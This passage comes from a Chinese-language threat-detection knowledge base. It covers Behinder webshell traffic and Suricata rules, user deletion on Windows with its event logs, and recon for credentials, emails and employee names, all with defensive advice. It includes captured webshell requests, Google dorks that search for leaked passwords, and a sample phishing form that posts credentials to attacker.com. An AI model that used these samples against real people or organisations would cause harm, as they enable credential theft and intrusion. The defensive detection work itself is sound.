192.168.66.136\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\n**GET请求返回包**a\nHTTP/1.1 200 OK\nDate: Mon, 19 Aug 2019 09:34:36 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nSet-Cookie: PHPSESSID=m0agat42tmo0i4srnda5ssfq94; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nContent-Length: 16\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html\n03befc81cbefda94\n```\nPOST请求包\n```\npcap\nPOST /DVWA/hackable/uploads/shell.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nCookie: PHPSESSID=bv5lv0681hq09ggt8rfj1peio5; path=/\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)\nCache-Control: no-cache\nPragma: no-cache\nHost: 192.168.66.136\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\nContent-Length: 2220\nltEi32XJreSl8Y5Hhzk08Wgjfe8bLPr3x8n4qlJ（此处省略加密字符信息）\n```\nPOST返回包\nHTTP/1.1 200 OK\nDate: Mon, 19 Aug 2019 09:34:36 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nKeep-Alive: timeout=5, max=97\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html\n21dc0gfUOcrBcH7jint5L0pmkDxT5ypIbjLnIsXnDxHGjofQk3g（此处省略加密字符信息）\n### 3）正常流量VS冰蝎通讯流量a\n通过对比可以看到，冰蝎V2.1在初期交互通讯时流量中多了**Transfer-Encoding: chunked**，Transfer-Encoding主要是用来改变报文格式，这里指的是利用分块进行传输。你可以基于此特征值进行检测，当然，你也可以用更简单的方法进行检测，比如url中包含**.php?pass=**来进行检测。\n## 检测特征/思路\n### 冰蝎V1.0a\n基于GET请求包的检测特征：url包含.php?pass=，useragent包含Java/*；\n基于POST请求包的检测特征：useragent包含Java/* ，返回包包含：Transfer-Encoding: chunked；\n### 冰蝎V2.1a\n基于GET请求包的检测特征：url包含.php?pass=；（如果与业务冲突，误报较大）\n基于POST返回包的检测特征：Transfer-Encoding: chunked；\n## 相关TIP\n[[T1505-003-webshell-冰蝎v3.0]]\n[[T1505-003-windows下webshell检测]]\n[[T1505-003-web服务产生的可疑进程]]\n## 参考推荐\nMITRE-ATT&CK-T1505-003\n<https://attack.mitre.org/techniques/T1505/003/>\n冰蝎下载地址\n<https://github.com/rebeyond/Behinder/releases>\n"
  },
  {
    "path": "Web/long time/T1505-003-webshell-冰蝎v3.0.md",
    "content": "# T1505-003-webshell-冰蝎\n## 来自ATT&CK的描述\nWebshell是一个Web脚本，放置在可公开访问的Web服务器上，允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能，如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外，Webshell可能还有一个客户端接口程序，用于与管理Web服务器的通信（例如，中国菜刀、C刀、蚁剑、冰蝎等）。\n## 测试案例\n暂无，可自行本地测试；\n## 检测日志\nHTTP流量\n## 测试复现\n暂无，建议自行本地测试；\n## 测试留痕\n暂无，建议本地自行测试，抓取流量数据；\n## 检测规则/思路\n### suricata规则\n参考来源：<https://github.com/suricata-rules/suricata-rules/tree/master/Behinder>\n```\nyml\nalert http any any -> any any  (msg: \"Behinder3 PHP HTTP Request\"; flow: established, to_server; content:\".php\"; http_uri;  pcre:\"/[a-zA-Z0-9+/]{1000,}=/i\"; flowbits:set,behinder3;noalert; classtype:shellcode-detect; sid: 3016017; rev: 1; metadata:created_at 2020_08_17,by al0ne;)\nalert http any any -> any any (msg: \"Behinder3  PHP HTTP Response\"; flow: established,to_client; content:\"200\"; http_stat_code; flowbits: isset,behinder3; pcre:\"/[a-zA-Z0-9+/]{100,}=/i\"; classtype:shellcode-detect; sid: 3016018; rev: 1; metadata:created_at 2020_08_17,by al0ne;)\n```\n### 自定义检测规则\n```\nyml\n自定义规则进行防护：(uri_path * rco \\.(jsp|jspx|php)$)&&(method * belong POST)&&(request_body * req ^[\\w+/]{1000,}=?=?$)\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1505-003\n<https://attack.mitre.org/techniques/T1505/003/>\n冰蝎3.0流量特征分析附特征\n<https://mp.weixin.qq.com/s/XMLK5OCpH9pICD9EL9nugA>\n冰蝎的前世今生:3.0新版本下的一些防护思考\n<https://mp.weixin.qq.com/s/WYM3J3daMTFODr4BSkKzxg>\n"
  },
  {
    "path": "Windows/00其他/T*-win-使用User_Del删除用户.md",
    "content": "# T*-Win-使用User_Del删除用户\n\n## 测试案例\n\n参考下文中提到的User_Del.exe程序删除用户。\n\n<https://github.com/Ryze-T/Windows_API_Tools>\n\n作用：删除用户\n\n用法：User_Del.exe Username\n\n## 检测日志\n\nWindows安全日志/sysmon日志\n\n## 测试复现\n\n测试环境说明：Windows server 2012\n\n```shell\nC:\\Windows_API_Tools-main>net user wang TOpsec.098 /add\n命令成功完成。\n\nC:\\Windows_API_Tools-main>User_Del.exe wang\nsuccess\n```\n\n## 测试留痕\n\nWindows sysmon EventID：1 进程创建\n\n```log\nProcess Create:\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2022-03-24 08:43:02.668\nProcessGuid: {4a363fee-2f16-623c-79a3-4e0000000000}\nProcessId: 4084\nImage: C:\\Windows_API_Tools-main\\User_Del.exe\nFileVersion: -\nDescription: -\nProduct: -\nCompany: -\nOriginalFileName: -\nCommandLine: User_Del.exe  wang\nCurrentDirectory: C:\\Windows_API_Tools-main\\\nUser: WEIDONG\\Administrator\nLogonGuid: {4a363fee-2447-623c-df16-080000000000}\nLogonId: 0x816DF\nTerminalSessionId: 1\n```\n\nwindows security EventID：4733、4729、4726\n\n```log\n4733\n已从启用了安全性的本地组中删除某个成员。\n\n使用者:\n 安全 ID:  WEIDONG\\Administrator\n 帐户名:  Administrator\n 帐户域:  WEIDONG\n 登录 ID:  0x816DF\n\n成员:\n 安全 ID:  WEIDONG\\wang\n 帐户名:  -\n\n组:\n 安全 ID:  BUILTIN\\Users\n 组名:  Users\n 组域:  Builtin\n\n附加信息:\n\n4729\n已从启用了安全性的全局组中删除某个成员。\n\n使用者:\n 安全 ID:  WEIDONG\\Administrator\n 帐户名:  Administrator\n 帐户域:  WEIDONG\n 登录 ID:  0x816DF\n\n成员:\n 安全 ID:  WEIDONG\\wang\n 帐户名:  -\n\n组:\n 安全 ID:  WEIDONG\\None\n 组名:  None\n 组域:  WEIDONG\n\n附加信息:\n\n4726\n已删除用户帐户。\n\n使用者:\n 安全 ID:  WEIDONG\\Administrator\n 帐户名:  Administrator\n 帐户域:  WEIDONG\n 登录 ID:  0x816DF\n\n目标帐户:\n 安全 ID:  WEIDONG\\wang\n 帐户名:  wang\n 帐户域:  WEIDONG\n\n附加信息:\n 特权 \n```\n\n## 检测规则/思路\n\n整体上看特征还是很明显的，重点关注账户删除日志。\n\n## 参考推荐\n\n系统监视器(Sysmon)工具的使用\n\n<https://blog.csdn.net/ducc20180301/article/details/119350200>\n\nWindows_API_Tools\n\n<https://github.com/Ryze-T/Windows_API_Tools>\n"
  },
  {
    "path": "Windows/01侦察/T1589.001-收集目标组织身份信息-凭证.md",
    "content": "# T1589-001-收集目标组织身份信息-凭证\n\n## 描述\n\n攻击者通过收集目标组织身份信息-凭证（T1589.001）获取受害者的身份数据（如员工姓名、电子邮件地址、用户名、密码等），为后续攻击（如钓鱼 T1566、有效账号 T1078 或凭证爆破 T1110）提供情报。这些操作通常在攻击者的外部环境（如自己的主机、云服务）进行，例如通过社交媒体爬取、搜索引擎挖掘（如 Google Hacking）、网络情报工具（如 Shodan、FOFA）、钓鱼攻击或公开数据泄露（如密码数据库）收集凭证。由于这些活动发生在目标组织视野之外，直接检测较为困难，但凭证可能被用于后续的初始访问或横向移动。\n\n## 测试案例\n\n#### 测试案例 1：Google Hacking 搜索凭证\n**关联技术**：T1589.001（凭证收集）  \n**说明**：  \n- 使用 Google Hacking 语法搜索公开暴露的凭证或敏感信息，通常在攻击者自己的设备上执行。  \n**示例操作**：\n```bash\n:: 在浏览器中输入以下 Google 搜索语法\nintext:password filetype:txt site:*.org\nintext:username password site:pastebin.com\nintext:\"email password\" site:*.gov\n```\n**输出示例**：\n```\n- 搜索结果可能包含公开的文本文件或 Pastebin 页面，泄露用户名和密码。\n- 示例：user:admin password:Admin2025\n- 示例：email:john.doe@example.org password:Pass1234\n```\n**说明**：  \n- 攻击者利用搜索引擎发现目标组织的凭证或敏感信息。  \n- 关联 T1589.001：通过公开数据收集身份信息。\n\n#### 测试案例 2：社交媒体爬取员工信息\n**关联技术**：T1589.001（凭证收集）  \n**说明**：  \n- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名、职位、电子邮件等信息，通常使用爬虫工具或 OSINT 框架。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nurl = \"https://www.linkedin.com/company/example-org/people/\"\nresponse = requests.get(url)\n# 解析 HTML，提取员工信息\n# 输出：姓名、职位、可能的电子邮件\n```\n**输出示例**：\n```\nName: John Doe, Title: IT Manager, Email: john.doe@example.org\nName: Jane Smith, Title: HR Director, Email: jane.smith@example.org\n```\n**说明**：  \n- 收集员工身份信息，用于定制钓鱼攻击。  \n- 关联 T1589.001：通过社交媒体获取凭证相关数据。\n\n#### 测试案例 3：钓鱼模拟收集凭证\n**关联技术**：T1589.001（凭证收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者发送钓鱼邮件或创建伪造登录页面，诱导目标输入凭证，通常在外部服务器上执行。  \n**示例操作**：\n- 发送伪造邮件，包含链接到攻击者控制的登录页面：\n  ```\n  Subject: 紧急：请验证您的账号\n  Body: 请点击以下链接更新您的密码：http://fake-example.com/login\n  ```\n- 伪造登录页面（HTML 伪代码）：\n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      用户名: <input type=\"text\" name=\"username\">\n      密码: <input type=\"password\" name=\"password\">\n      <input type=\"submit\" value=\"登录\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nusername=johndoe&password=Pass1234\n```\n**说明**：  \n- 通过钓鱼攻击收集用户凭证。  \n- 关联 T1589.001：通过钓鱼获取凭证。\n\n#### 测试案例 4：查询公开数据泄露\n**关联技术**：T1589.001（凭证收集）  \n**说明**：  \n- 使用公开数据泄露数据库（如 Have I Been Pwned）查询目标邮箱的泄露凭证，通常在攻击者设备上通过 API 或网站执行。  \n**示例操作**：\n```bash\n:: 在浏览器访问\nhttps://haveibeenpwned.com/\n:: 输入目标邮箱：john.doe@example.org\n```\n**输出示例**：\n```\nBreaches:\n- LinkedIn (2012-05-05)\n- Adobe (2013-10-04)\n```\n**说明**：  \n- 检查目标邮箱是否出现在数据泄露中，可能获取密码。  \n- 关联 T1589.001：通过公开泄露获取凭证。\n\n#### 测试案例 5：使用 OSINT 工具收集身份信息\n**关联技术**：T1589.001（凭证收集）  \n**说明**：  \n- 使用开源情报（OSINT）工具（如 Maltego、SpiderFoot）收集目标组织的身份信息，包括邮箱、用户名或关联账号。  \n**示例操作**：\n- 在 Maltego 中：\n  - 输入目标域名：example.org\n  - 运行变换（Transform）：提取邮箱、社交媒体账号\n**输出示例**：\n```\nDomain: example.org\nEmails: john.doe@example.org, jane.smith@example.org\nTwitter: @JohnDoe, @JaneSmith\n```\n**说明**：  \n- 整合公开数据，构建目标身份画像。  \n- 关联 T1589.001：通过 OSINT 获取凭证相关信息。\n\n## 建议\n\n1. **防御措施**：\n   - **员工培训**：开展反钓鱼和隐私保护培训，提高员工对伪造邮件和社交工程的警惕性。\n   - **数据最小化**：限制员工在社交媒体和公开网站上暴露的身份信息（如邮箱、职位）。\n   - **邮件网关**：部署反钓鱼网关，检测伪造邮件和可疑链接。\n   - **密码策略**：强制使用强密码，定期更换，避免密码重用。\n   - **多因素认证（MFA）**：为所有账号启用 MFA，降低凭证被盗风险。\n2. **后续阶段监控**：\n   - 监控钓鱼攻击（T1566），如异常登录尝试（事件 ID 4624）或可疑邮件点击。\n   - 检测有效账号使用（T1078），如非预期时间/地点的登录。\n   - 使用 EDR 或 SIEM 关联异常行为，如凭证爆破（T1110）或外部 API 请求。\n3. **外部情报监控**：\n   - 定期检查公开数据泄露（如 Have I Been Pwned），通知员工更新受损凭证。\n   - 监控社交媒体和暗网，识别针对组织的身份信息收集。\n   - 与威胁情报服务合作，获取针对组织的侦察预警。\n4. **降低误报**：\n   - 区分合法的员工行为（如访问 LinkedIn）与攻击者的爬取活动。\n   - 结合上下文分析，如异常访问时间、来源 IP 或高频查询。\n\n## 参考推荐\n\n- MITRE ATT&CK:T1589-001  \n  <https://attack.mitre.org/techniques/T1589/001/>\n"
  },
  {
    "path": "Windows/01侦察/T1589.002-收集目标组织身份信息-邮件地址.md",
    "content": "# T1589-002-收集目标组织身份信息-邮件地址\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种方式收集目标组织的电子邮件地址信息（T1589.002）。这些信息可用于后续攻击活动，包括但不限于目标定位、其他形式的侦察（如搜索开放网站/域或钓鱼攻击 T1566）、建立运营资源（如创建钓鱼邮件账号）或实现初始访问（如凭证爆破 T1110 或鱼叉式钓鱼 T1566.001）。即使组织内部使用私有邮件系统，员工的电子邮件地址也可能通过公开渠道暴露，例如社交媒体、公司官网、数据泄露事件等。由于这些活动通常在目标组织的视野之外（如攻击者的设备或云服务）进行，直接检测较为困难。\n\n攻击者收集电子邮件地址的动机包括：\n- **推测账号命名规律**：通过分析邮箱地址的命名模式，推测其他系统的账号命名规则，便于后续攻击（如凭据爆破）。\n- **弱口令利用**：某些公共邮箱（如 `hr@xxx.com`）可能存在弱口令，易被攻击者利用。\n- **精准钓鱼**：利用收集到的邮箱地址发送定制化的钓鱼邮件，提高攻击成功率。\n\n**参考来源**：\n- HackersArise Email\n- CNET Leaks\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的邮箱地址收集方法，聚焦于 Windows 环境或通用网络环境下的操作。\n\n#### 测试案例 1：Google Hacking 搜索邮箱地址\n**关联技术**：T1589.002（邮箱收集）  \n**说明**：  \n- 攻击者利用 Google 搜索引擎的高级语法搜索目标组织的公开邮箱地址，通常在攻击者自己的设备上执行。  \n**示例操作**：\n```bash\n:: 在浏览器中输入以下 Google 搜索语法\nsite:example.com intext:@example.com\nsite:example.com \"联系我们\" | \"contact us\"\nintext:email filetype:pdf site:example.com\n```\n**输出示例**：\n```\n- 搜索结果可能包含公司官网的联系页面或 PDF 文件，泄露邮箱地址。\n- 示例：john.doe@example.com\n- 示例：hr@example.com\n```\n**说明**：  \n- 通过公开网页或文档挖掘邮箱地址。  \n- 关联 T1589.002：通过搜索引擎收集邮箱信息。\n\n#### 测试案例 2：社交媒体爬取邮箱信息\n**关联技术**：T1589.002（邮箱收集）  \n**说明**：  \n- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工邮箱地址，通常使用爬虫工具或手动查询。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/people/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取员工信息\nemails = [email for email in soup.find_all(text=lambda t: '@example.com' in t)]\nprint(emails)\n```\n**输出示例**：\n```\nEmails: john.doe@example.com, jane.smith@example.com\n```\n**说明**：  \n- 收集员工邮箱，用于后续钓鱼或推测账号命名规律。  \n- 关联 T1589.002：通过社交媒体获取邮箱信息。\n\n#### 测试案例 3：查询公开数据泄露\n**关联技术**：T1589.002（邮箱收集）  \n**说明**：  \n- 使用公开数据泄露数据库（如 Have I Been Pwned）查询目标邮箱是否出现在泄露事件中，通常通过 API 或网站执行。  \n**示例操作**：\n```bash\n:: 在浏览器访问\nhttps://haveibeenpwned.com/\n:: 输入目标邮箱：john.doe@example.com\n:: 或使用 API\ncurl -H \"hibp-api-key: YOUR_API_KEY\" \"https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com\"\n```\n**输出示例**：\n```\nBreaches:\n- LinkedIn (2012-05-05)\n- Adobe (2013-10-04)\nEmails: john.doe@example.com\n```\n**说明**：  \n- 检查目标邮箱是否泄露，可能获取关联的用户名或密码。  \n- 关联 T1589.002：通过数据泄露获取邮箱信息。\n\n#### 测试案例 4：使用 The Harvester 收集邮箱\n**关联技术**：T1589.002（邮箱收集）  \n**说明**：  \n- 使用 The Harvester 工具从 Google、Bing、PGP 服务器等公共来源收集目标域名的邮箱地址。  \n**示例操作**：\n```bash\n:: 在攻击者设备上运行\ntheharvester -d example.com -b google,bing,pgp -l 500\n```\n**输出示例**：\n```\nEmails found:\n- john.doe@example.com\n- jane.smith@example.com\n- hr@example.com\n```\n**说明**：  \n- 自动化收集目标域名的邮箱地址，适用于渗透测试早期阶段。  \n- 关联 T1589.002：通过 OSINT 工具获取邮箱信息。\n\n#### 测试案例 5：使用 Infoga 收集邮箱信息\n**关联技术**：T1589.002（邮箱收集）  \n**说明**：  \n- 使用 Infoga 工具从公共搜索引擎、PGP 密钥服务器和 Shodan 收集邮箱相关信息（如 IP、主机名）。  \n**示例操作**：\n```bash\n:: 在攻击者设备上运行\npython infoga.py --domain example.com --source all\n```\n**输出示例**：\n```\nEmails:\n- john.doe@example.com (Source: Google)\n- jane.smith@example.com (Source: Bing)\n- hr@example.com (Source: PGP)\n```\n**说明**：  \n- 整合多源数据，构建目标组织的邮箱列表。  \n- 关联 T1589.002：通过自动化工具获取邮箱信息。\n\n## 检测日志\n\n由于邮箱地址收集通常发生在目标组织的外部（如公开数据源或攻击者设备），直接监测较为困难。可能的检测日志包括：\n- **Web 服务器日志**：记录异常的爬虫行为（如高频访问“联系我们”页面）。\n  - 示例事件：`GET /contact HTTP/1.1` 从异常 IP 或 User-Agent。\n- **DNS 查询日志**：记录异常的子域名查询，可能与 The Harvester 等工具相关。\n  - 示例事件：高频查询 `mail.example.com` 或 `smtp.example.com`。\n- **邮件网关日志**：检测钓鱼邮件的发送者地址，可能与收集到的邮箱相关。\n  - 示例事件：可疑邮件从 `spoofed@example.com` 发送。\n\n## 测试复现\n\n由于邮箱收集属于被动信息收集，无法直接在目标系统上复现攻击行为。测试复现步骤包括：\n1. 使用 Google Hacking 语法（如 `site:example.com intext:@example.com`）搜索目标邮箱。\n2. 使用 The Harvester 或 Infoga 扫描目标域名，收集公开邮箱地址。\n3. 查询 Have I Been Pwned 检查目标邮箱是否出现在泄露数据库中。\n4. 模拟爬取 LinkedIn 或公司官网，提取员工邮箱信息。\n\n**示例复现环境**：\n- 操作系统：Windows 10 或 Kali Linux\n- 工具：The Harvester、Infoga、Python 爬虫脚本\n- 目标：example.com\n\n## 测试留痕\n\n被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括：\n- **Web 服务器日志**：记录攻击者的爬虫 IP 或异常访问模式。\n  - 示例：`192.168.1.100 - - [26/May/2025:07:44:00 +0000] \"GET /contact HTTP/1.1\" 200 1234`\n- **第三方平台日志**：如 GitHub 或 LinkedIn 的查询记录（需平台合作获取）。\n- **DNS 查询日志**：记录异常的子域名查询。\n\n## 检测规则/思路\n\n检测邮箱收集活动的重点在于间接证据和后续攻击阶段的关联分析：\n1. **监控异常爬虫行为**：\n   - 检查 Web 服务器日志，识别高频访问联系页面或敏感文件的 IP。\n   - 示例规则（伪代码）：\n     ```log\n     if (GET /contact | /about > 100 requests/hour from single IP) then alert\n     ```\n   - 使用 WAF 设置反爬虫规则，拦截异常 User-Agent。\n2. **DNS 查询监控**：\n   - 检测高频或异常的子域名查询（如 `mail.example.com`）。\n   - 示例规则（伪代码）：\n     ```log\n     if (DNS query for *.example.com > 50/hour from single IP) then alert\n     ```\n3. **数据泄露监控**：\n   - 定期使用 Have I Been Pwned 或 Firefox Monitor 检查组织邮箱的泄露情况。\n   - 订阅威胁情报服务，获取泄露预警。\n4. **邮件网关检测**：\n   - 监控可疑的钓鱼邮件（如伪造的发件人地址）。\n   - 示例规则（伪代码）：\n     ```log\n     if (email from *.example.com and SPF fail) then alert\n     ```\n5. **SIEM 关联分析**：\n   - 整合 Web 服务器、DNS 和邮件网关日志，检测异常模式。\n   - 示例：关联爬虫访问与后续钓鱼邮件的发送者 IP。\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、社交媒体等公开渠道暴露员工邮箱地址，使用通用邮箱（如 `info@xxx.com`）或联系表单。\n   - 对官网的联系页面设置反爬虫机制（如 CAPTCHA 或限流）。\n2. **加强密码安全**：\n   - 对公共邮箱（如 `hr@xxx.com`）设置强密码，启用多因素认证（MFA）。\n   - 定期检查邮箱账号是否存在弱口令或泄露凭据。\n3. **员工培训**：\n   - 开展反钓鱼培训，教育员工识别伪造邮件和可疑链接。\n   - 指导员工避免在社交媒体泄露工作邮箱或敏感信息。\n4. **数据泄露监控**：\n   - 定期使用 Have I Been Pwned 或类似服务检查组织邮箱的泄露情况。\n   - 建立数据泄露响应机制，及时更新受损账号的凭据。\n5. **主动 OSINT 评估**：\n   - 使用 The Harvester 或 Infoga 模拟攻击者行为，评估组织在公开渠道的暴露程度。\n   - 定期检查 GitHub、Pastebin 等平台是否泄露组织邮箱。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n  - 监控邮件网关日志，检测可疑邮件点击或附件打开。\n  - 示例事件：Windows 事件 ID 4663（文件访问）。\n- **凭证爆破（T1110）**：\n  - 监控异常登录尝试，如 Windows 事件 ID 4625（登录失败）。\n  - 示例规则：`if (failed logins > 5 in 1 minute from single IP) then alert`。\n- **有效账号使用（T1078）**：\n  - 检测非预期时间或地点的登录，如 Windows 事件 ID 4624（登录成功）。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织的侦察或数据泄露预警。\n- 监控暗网或 Pastebin，识别泄露的邮箱地址。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n### 降低误报\n- 区分合法用户行为（如员工访问官网）与攻击者的爬取活动，结合访问时间、IP 地理位置等上下文。\n- 使用机器学习模型分析 Web 流量，识别异常爬虫模式。\n- 定期更新检测规则，避免误报正常员工的邮件或 DNS 查询。\n\n## 参考推荐\n\n- MITRE ATT&CK:T1589-002  \n  <https://attack.mitre.org/techniques/T1589/002/>\n- 邮箱信息收集 - 白帽与安全  \n  <https://www.kancloud.cn/noahs/src_hacker/2119944>\n\n"
  },
  {
    "path": "Windows/01侦察/T1589.003-收集目标组织身份信息-员工姓名.md",
    "content": "# T1589-003-收集目标组织身份信息-员工姓名\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种方式收集目标组织的员工姓名信息（T1589.003）。这些信息可用于后续攻击活动，包括推导电子邮件地址、指导其他侦察工作（如搜索开放网站/域 T1592 或钓鱼 T1566）、建立运营资源（如创建伪造账号）或实现初始访问（如鱼叉式钓鱼 T1566.001 或有效账号使用 T1078）。员工姓名通常通过公开渠道暴露，例如社交媒体、公司官网、招聘网站或数据泄露事件。由于这些活动通常在目标组织的视野之外（如攻击者的设备或云服务）进行，直接检测较为困难。\n\n攻击者收集员工姓名的动机包括：\n- **推导邮箱地址**：结合姓名和组织邮箱命名规律，构造员工邮箱地址（如 `john.doe@example.com`），用于钓鱼或凭证爆破（T1110）。\n- **定制化诱饵**：利用员工姓名制作更可信的钓鱼邮件或社交工程攻击，提高成功率。\n- **身份画像**：结合姓名、职位等信息，构建目标组织的身份架构，为后续攻击提供情报。\n\n**参考来源**：\n- HackersArise Email\n- CNET Leaks\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的员工姓名收集方法，聚焦于 Windows 环境或通用网络环境下的操作。\n\n#### 测试案例 1：通过招聘网站收集员工姓名\n**关联技术**：T1589.003（员工姓名收集）  \n**说明**：  \n- 攻击者通过购买招聘网站（如智联招聘、猎聘）账号或利用免费试用功能，访问目标组织的员工姓名和职位信息。  \n**示例操作**：\n- 注册招聘网站账号，搜索目标组织（如 `example.com`）。\n- 浏览公开的员工简历或企业页面，提取姓名和职位。\n**输出示例**：\n```\nName: 张伟, Title: IT Manager\nName: 李娜, Title: HR Specialist\n```\n**说明**：  \n- 招聘网站通常包含员工的姓名、职位和工作经历，易被攻击者利用。  \n- 关联 T1589.003：通过招聘平台收集员工姓名。\n\n#### 测试案例 2：社交媒体爬取员工姓名\n**关联技术**：T1589.003（员工姓名收集）  \n**说明**：  \n- 通过 LinkedIn、Twitter 或其他社交媒体平台收集员工姓名，通常使用爬虫工具或手动查询。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/people/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取员工姓名\nnames = [name.text for name in soup.find_all('a', class_='profile-link')]\nprint(names)\n```\n**输出示例**：\n```\nNames: John Doe, Jane Smith, 张伟, 李娜\n```\n**说明**：  \n- 收集员工姓名和职位，用于推导邮箱或定制钓鱼攻击。  \n- 关联 T1589.003：通过社交媒体获取员工姓名。\n\n#### 测试案例 3：查询公司官网或公开文档\n**关联技术**：T1589.003（员工姓名收集）  \n**说明**：  \n- 攻击者通过公司官网的“关于我们”或“团队”页面，或公开的 PDF 文档（如年报、新闻稿）提取员工姓名。  \n**示例操作**：\n```bash\n:: 使用 Google Hacking 搜索\nsite:example.com intext:\"our team\" | \"about us\"\nsite:example.com filetype:pdf intext:employee\n```\n**输出示例**：\n```\n- 官网团队页面：John Doe (CEO), Jane Smith (CTO)\n- 年报 PDF：张伟 (IT Manager), 李娜 (HR Specialist)\n```\n**说明**：  \n- 公开网页或文档可能泄露员工姓名和职位。  \n- 关联 T1589.003：通过公司官网收集员工姓名。\n\n#### 测试案例 4：使用 OSINT 工具收集员工信息\n**关联技术**：T1589.003（员工姓名收集）  \n**说明**：  \n- 使用开源情报（OSINT）工具（如 Maltego、SpiderFoot）收集目标组织的员工姓名和关联信息。  \n**示例操作**：\n- 在 Maltego 中：\n  - 输入目标域名：`example.com`\n  - 运行变换（Transform）：提取员工姓名、职位、社交媒体账号\n**输出示例**：\n```\nDomain: example.com\nNames: John Doe (IT Manager), Jane Smith (HR Director)\nLinkedIn: linkedin.com/in/johndoe, linkedin.com/in/janesmith\n```\n**说明**：  \n- 整合公开数据，构建目标组织的员工画像。  \n- 关联 T1589.003：通过 OSINT 工具获取员工姓名。\n\n#### 测试案例 5：查询数据泄露数据库\n**关联技术**：T1589.003（员工姓名收集）  \n**说明**：  \n- 使用公开数据泄露数据库（如 Have I Been Pwned）查询目标组织的员工姓名和邮箱，可能通过泄露数据推导姓名。  \n**示例操作**：\n```bash\n:: 在浏览器访问\nhttps://haveibeenpwned.com/\n:: 输入目标邮箱：john.doe@example.com\n:: 或使用 API\ncurl -H \"hibp-api-key: YOUR_API_KEY\" \"https://haveibeenpwned.com/api/v3/breachedaccount/john.doe@example.com\"\n```\n**输出示例**：\n```\nBreaches:\n- LinkedIn (2012-05-05): John Doe, john.doe@example.com\n- Adobe (2013-10-04): Jane Smith, jane.smith@example.com\n```\n**说明**：  \n- 通过泄露数据提取员工姓名和邮箱。  \n- 关联 T1589.003：通过数据泄露获取员工姓名。\n\n## 检测日志\n\n由于员工姓名收集通常发生在目标组织的外部（如公开数据源或攻击者设备），直接监测较为困难。可能的检测日志包括：\n- **Web 服务器日志**：记录异常的爬虫行为，如高频访问“关于我们”或“团队”页面。\n  - 示例事件：`GET /about HTTP/1.1` 从异常 IP 或 User-Agent。\n- **DNS 查询日志**：记录异常的子域名查询，可能与 OSINT 工具（如 Maltego）相关。\n  - 示例事件：高频查询 `www.example.com` 或 `team.example.com`。\n- **第三方平台日志**：如 LinkedIn 或招聘网站的访问记录（需平台合作获取）。\n\n## 测试复现\n\n由于员工姓名收集属于被动信息收集，无法直接在目标系统上复现攻击行为。测试复现步骤包括：\n1. 使用 Google Hacking 语法（如 `site:example.com intext:\"our team\"`）搜索员工姓名。\n2. 使用 Maltego 或 SpiderFoot 扫描目标域名，提取员工姓名和职位。\n3. 查询 Have I Been Pwned 检查目标邮箱是否泄露，推导员工姓名。\n4. 模拟爬取 LinkedIn 或公司官网，提取员工姓名信息。\n\n**示例复现环境**：\n- 操作系统：Windows 10 或 Kali Linux\n- 工具：Maltego、SpiderFoot、Python 爬虫脚本\n- 目标：`example.com`\n\n## 测试留痕\n\n被动信息收集通常不会在目标系统留下直接痕迹。可能的间接留痕包括：\n- **Web 服务器日志**：记录攻击者的爬虫 IP 或异常访问模式。\n  - 示例：`192.168.1.100 - - [26/May/2025:07:44:00 +0000] \"GET /about HTTP/1.1\" 200 1234`\n- **第三方平台日志**：如 LinkedIn 或招聘网站的查询记录（需平台合作获取）。\n- **DNS 查询日志**：记录异常的子域名查询。\n\n## 检测规则/思路\n\n检测员工姓名收集活动的重点在于间接证据和后续攻击阶段的关联分析：\n1. **监控异常爬虫行为**：\n   - 检查 Web 服务器日志，识别高频访问“关于我们”或“团队”页面的 IP。\n   - 示例规则（伪代码）：\n     ```log\n     if (GET /about | /team > 100 requests/hour from single IP) then alert\n     ```\n   - 使用 WAF 设置反爬虫规则，拦截异常 